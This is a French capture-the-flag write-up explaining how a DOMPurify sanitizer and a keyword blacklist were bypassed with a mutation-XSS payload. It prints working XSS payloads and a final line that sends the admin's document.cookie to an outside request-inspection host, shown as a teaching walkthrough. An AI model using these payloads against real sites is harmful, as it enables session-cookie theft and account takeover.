Je n’ai pas pensé à sauvegarder l’énoncé, mais en gros c’était :

Tu ne parviendras jamais à dérober mon biscuit de session, vil faquin.
http://qual-challs.rtfm.re:8080
(l'admin utilise la dernière version de Chrome)

La page web ressemble à ceci :
index

Et le code source :

<html>

<head>
    <meta charset="utf-8">
    <title>Theory of Browser Evolution</title>
    <link href="assets/css/bootstrap.min.css" rel="stylesheet">
    <script src="assets/js/purify.min.js"></script>
</head>

<body>
    <div class="container">
        <h1>Theory of Browser Evolution</h1>
        <p class="lead">Betcha you can't steal my cookie, n00b.</p>
    </div>
    <div id="injection"></div>
</body>

<script>
    var nuclearSanitizer = function(dirty) {
        var clean = dirty;

        forbiddenWords = ["onerror", "onload", "onunload", "img", "focus"];

        for (const fw of forbiddenWords) {
            if (dirty.toLowerCase().includes(fw)) {
                console.log(fw);
                clean = "";
                break;
            }
        }

        return clean;
    }

    var getUrlParam = function(name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    }

    var layout = getUrlParam("layout");
    var clean = DOMPurify.sanitize(layout);

    // Hehe I made a custom sanitizer, no worriez
    clean = nuclearSanitizer(clean);

    var injectionPoint = document.getElementById("injection");
    injectionPoint.innerHTML = clean;
    injectionPoint.innerHTML = injectionPoint.innerHTML;
</script>

</html>

Pour synthétiser :

Notre but est donc de bypass le DOMPurify ainsi que la blacklist afin d’exécuter du code JS arbitraire et voler le cookie de l’admin.

gumli

Le premier truc qui fait tilt c’est cette ligne :

injectionPoint.innerHTML = injectionPoint.innerHTML;

Elle nous indique déjà quel type de XSS on va devoir exploiter : une mXSS (mutation XSS).
Le principe est le suivant : on va tirer profit du fait que les navigateurs n’aiment pas le code HTML mal formé, et qu’ils préfèrent le remplacer par du code HTML valide. On appelle ça la mutation. Un exemple totu simple :
mutation

Ici, Chromium a pris la liberté de rajouter une balise fermante parce que sinon le HTML est tout cracra. C’est ce mécanisme qu’exploite une mXSS.

En cherchant sur la toile une façon de contourner DOMPurify via mXSS, je suis tombé sur cet excellent blog post : https://research.securitum.com/dompurify-bypass-using-mxss/.
J’en ai extrait le payload suivant, permettant de bypass DOMPurify dans un navigateur Chromium :
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">

Ici, c’est donc <img src=1 onerror=alert(1)>, placé en attribut id d’une balise a qui va trigger la XSS après mutation par le navigateur.

En l’état, on sait déjà que ce bout de code ne nous permettra pas de flag car on retrouve la balise img qui est blacklistée. J’ai donc répliqué rapidement la page web en local, en supprimant tout ce qui touche à la fonction nuclearSanitizer, on cherchera un vecteur non filtré plus tard :

<html>
<head>
    <meta charset="utf-8">
    <title>CHALL LOCAL</title>
    <link href="assets/css/bootstrap.min.css" rel="stylesheet">
    <script src="assets/js/purify.min.js"></script>
</head>

<body>
    <div class="container">
        <h1>Theory of Browser Evolution</h1>
        <p class="lead">Betcha you can't steal my cookie, n00b.</p>
    </div>
    <div id="injection"></div>
</body>

<script>
    var getUrlParam = function(name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    }

    var layout = getUrlParam("layout");
    var clean = DOMPurify.sanitize(layout);

    var injectionPoint = document.getElementById("injection");
    injectionPoint.innerHTML = clean;
    injectionPoint.innerHTML = injectionPoint.innerHTML;
</script>
</html>

Je lance un petit serveur PHP pour accéder rapidement à ma page :

$ php -S 0:8000

Et dans Chromium (tout fraîchement apt-installed) :
http://127.0.0.1:8000/?layout=<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">

Youpi ça marche :
bypass dompurify

mortel!!!

En jetant un oeil au code source de la page :
bypass dompurify

Les balises style et p se sont d’abord respectivement fermée et ouverte “sur elles-mêmes”. Ensuite, on peut voir que DOMPurify a laissé passer ce qu’il y a dans l’attribut id de a sans broncher, alors que le navigateur, à défaut de trouver une balise fermante style quelque part, a parsé celle dans l’attribut id. Du coup, la balise img se retrouve intégrée dans le DOM, et n’est plus une simple valeur d’attribut.
Tout ça a lieu au moment de l’exécution de

injectionPoint.innerHTML = injectionPoint.innerHTML;

, qui est la dernière ligne du script. Donc DOMPurify a loupé le coche, la balise est injectée et on a bypassé le premier filtre.

Il nous reste à bypass la blacklist, qui nous enlève quand même beaucoup de possiblités si on ne veut pas d’interaction utilisateur. De plus, elle est insensible à la casse, donc il s’agit juste de trouver la bonne balise avec le bon attribut.

C’est le moment de sortir la super cheatsheet que PortSwigger a sorti récemment ! (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet). Elle permet de trier les payloads selon l’attribut que l’on veut, l’événement à exploiter et/ou sur quel navigateur on veut trigger la XSS.

En fouillant un peu parmi les vecteurs proposés, on se tourne rapidement vers la balise svg, très souvent utilisée car riche en options. Voici par exemple ce qu’on nous propose :
cheatsheet

A priori, rien de tout ça n’est filtré ! On remplace <img src=1 onerror=alert(1)> dans notre payload par <svg><set onbegin=alert(1) attributename=x dur=1s>, ce qui nous donne :
<svg></p><style><a id="</style><svg><set onbegin=alert(1) attributename=x dur=1s>">

Balançons ça sur le serveur :
bypass dompurify + blacklist

Ça passe carrément, plus qu’à modifier le alert(1) par un document.location.href='https://requestinspector.com/inspect/01dpm5cfpmzqne59jfa850meqn/?c='+document.cookie et à re-balancer :
payload final

On est automatiquement redirigé vers le Request Inspector, c’est win.

Pour éviter de surcharger le bot admin, le serveur utilisé depuis le début n’est fait que pour tester son payload. Ce dernier est à soumettre sur une page tierce à laquelle je n’ai plus accès maintenant que le CTF est fini, mais une fois l’URL envoyée au bot il fait sa requête instantanément :
flag

Flag : sigsegv{pur1fy_mY_s0ul}

noice